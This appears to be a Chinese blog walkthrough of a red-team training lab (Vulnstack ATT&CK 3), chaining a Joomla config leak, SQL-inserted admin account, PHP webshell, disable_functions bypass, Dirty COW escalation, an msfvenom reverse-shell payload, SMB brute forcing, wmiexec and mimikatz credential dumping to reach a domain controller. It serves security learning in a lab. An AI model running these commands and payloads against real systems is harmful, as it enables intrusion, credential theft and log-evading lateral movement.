• ATT&CK实战系列——红队实战(三)


    一、环境搭建

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

    本次环境为黑盒测试,不提供虚拟机账号密码,centos 出网机 ip 为 192.168.1.110,目标是域控内的一份重要文件。

    所有主机解压后都是挂起状态,配好网络环境后运行五台机器即可。

    二、漏洞利用

    2.1修改模板getshell

    出网机的 80 端口是一个 joomla! 搭建的网站

    直接使用 kali 的 joomscan 工具扫描一下,发现版本为 3.9.12,后台登录目录 http://192.168.1.110/administrator/,敏感文件泄露目录 http://192.168.1.110/configuration.php~

    joomscan -u http://192.168.1.110/

    得到一个 mysql 账户 testuser/cvcvgjASD!@

    nmap 扫描一下发现 3306 端口开放,使用获得的账户密码远程登录数据库。因为 joomla 可以在后台模板 getshell,所以尝试查找管理员的账号密码登录后台,但是数据表中存储的管理员密码是加密的,需要换一种思路。

    根据 joomla 官方文档 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn 执行 sql 语句在数据库中添加 admin2/secret 超级管理员,注意 sql 语句修改为目标数据表的前缀。

    INSERT INTO `am2zu_users`
       (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
    VALUES ('Administrator2', 'admin2',
     'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
    INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
    VALUES (LAST_INSERT_ID(),'8');

    执行语句后在数据表可以看到账户已经成功添加了。

    admin2/secret 登录后台,Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,写入一句话木马。

     

    蚁剑连接 webshell。

    2.2bypass disable_functions

    虚拟终端执行系统命令返回 ret=127,怀疑服务端 disable_functions 禁用了命令执行函数。

    phpinfo 查看一下禁用了这些函数,尝试利用LD_PRELOAD绕过。

    用蚁剑把 bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上传到目标的同一目录,注意 .so 文件需要根据目标系统架构选择,然后访问 bypass_diablefunc.php,cmd 是执行的命令,outpath是读写权限的目录,sopath是 .so 文件的绝对路径。

    工具下载地址: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

    payload 如下:

    http://192.168.1.110/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

    查看当前 ip 为 192.168.93.120,内核是 ubuntu,说明真正的 web 服务后端在 ubuntu。

    2.3敏感文件泄露

    由于 ubuntu 内核比较新,暂时不考虑提权。翻找文件发现 test.txt 给出了一个用户的账号密码。

    可以成功登录 centos 出网机。

    三、内网渗透

    3.1脏牛提权

    拿到出网机后想继续横向移动,一般是在跳板机搭建 socks 代理,所以需要将 centos 提权,查看 centos 内核版本刚好在脏牛提权的范围内。

    将 dirty.c 上传到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 提权,exp 下载地址:https://github.com/FireFart/dirtycow

    切换 firefart/baji 用户,成功提权。

    3.2msf上线

    攻击机生成 shell.elf,设置监听,将 elf 文件上传至 centos,执行后攻击机成功获得一个 meterpreter。

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

    3.3存活主机探测

    因为 bypass disable_functions 后得到 ubuntu ip 为 192.168.93.120,所以添加路由,meterpreter 放在后台,进行存活主机探测。

    run autoroute -s 192.168.93.0/24
    background
    use auxiliary/scanner/smb/smb_version
    set rhosts 192.168.93.0/24
    exploit

    得到了三台加入TEST域的 windows 主机

    • 192.168.93.10 windows 2012
    • 192.168.93.20 windows 2008
    • 192.168.93.30 windows 7

     

    尝试爆破 windows 2008 的本地管理员,参考其他师傅的文章爆出来密码为 123qwe!ASD(我没有包括这个密码的字典...)

    use auxiliary/scanner/smb/smb_login
    set rhosts 192.168.93.20
    set SMBUser administrator
    set PASS_FILE /usr/share/wordlists/top1000.txt
    run

    3.4内网信息搜集

    在爆破密码成功的基础上,使用 msf 开个 socks4 正向代理,配合 proxychains。

    use auxiliary/server/socks4a
    set srvport 1080
    exploit

    wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

    wmiexec 执行命令,搜集信息,wmiexec.py 下载地址 https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

    proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

    ipconfig /all 知道 dns 服务器即域控是 192.168.93.10。那么基本的内网拓扑也清楚了,一台 centos 反向代理了一个 web,centos 有两个网卡,web 服务后端在 ubuntu 上,三台 windows 组成域环境,ip 分别是 192.168.93.10,192.168.93.20,192.168.93.30,域控为 windows server 2012,ip 为 192.168.93.10。

    (反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。反向代理的工作原理是,代理服务器来接受客户端的网络访问连接请求,然后服务器将请求有策略的转发给网络中实际工作的业务服务器,并将从业务服务器处理的结果,返回给网络上发起连接请求的客户端。更多解释 https://www.zhihu.com/question/36412304

    反向代理优点:

    • 提高了内部服务器的安全
    • 加快了对内部服务器的访问速度
    • 节约了有限的IP资源

    tasklist /V 查看进程(显示对应用户),发现TEST域进程,可以尝试抓密码。

    3.5mimikatz获取账号密码

    kali 使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz。下载地址 https://github.com/gentilkiwi/mimikatz/releases

    proxychains smbclient //192.168.93.20/C$ -U administrator
    put mimikatz.exe

    wmiexec 远程执行 mimikatz 成功得到域管理员密码。

    mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

    3.6ipc远程连接

    IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。

    利用条件:

    1. 管理员开启了默认共享
    2. 139或445端口开放

    ipc 远程连接读 flag.txt。

    net use \192.168.93.10admin$ zxcASDqw123!! /user:testadministrator   #系统默认路径c:windows下
    dir \192.168.93.10C$usersadministratorDocuments
    type \192.168.93.10C$usersadministratorDocumentsflag.txt

    四、总结

    通过这个靶机了解了一些新知识,实验了几个听说过但是还没试过的经典操作。如果有问题欢迎师傅们批评指正。

    总结还想写一点点别的,现在是大三暑假,九月份就秋招了,喜欢渗透但是技术还挺菜的hhhh。希望在毕业后可以做渗透测试的工作,很想很想喜欢的事可以成为工作啊:)

    参考文章:

    https://www.cnblogs.com/PANDA-Mosen/p/13118679.html

    https://www.freebuf.com/web/192052.html

    https://glotozz.github.io/2020/05/19/vulstack-3/

    https://xz.aliyun.com/t/6988

  • 相关阅读:
    AngularJS in Action读书笔记4(实战篇)——创建Statistic模块
    AngularJS in Action读书笔记3——走近Services
    AngularJS in Action读书笔记2——view和controller的那些事儿
    AngularJS in Action读书笔记1——扫平一揽子专业术语
    Nodejs学习笔记(四)——支持Mongodb
    Nodejs学习笔记(三)——一张图看懂Nodejs建站
    Nodejs学习笔记(二)——Eclipse中运行调试Nodejs
    Nodejs学习笔记(一)——初识Nodejs
    Unity Shader 获取模型空间坐标
    Unity Shader 修改自定义变量的值
  • 原文地址:https://www.cnblogs.com/wkzb/p/13281772.html
Copyright © 2020-2023  润新知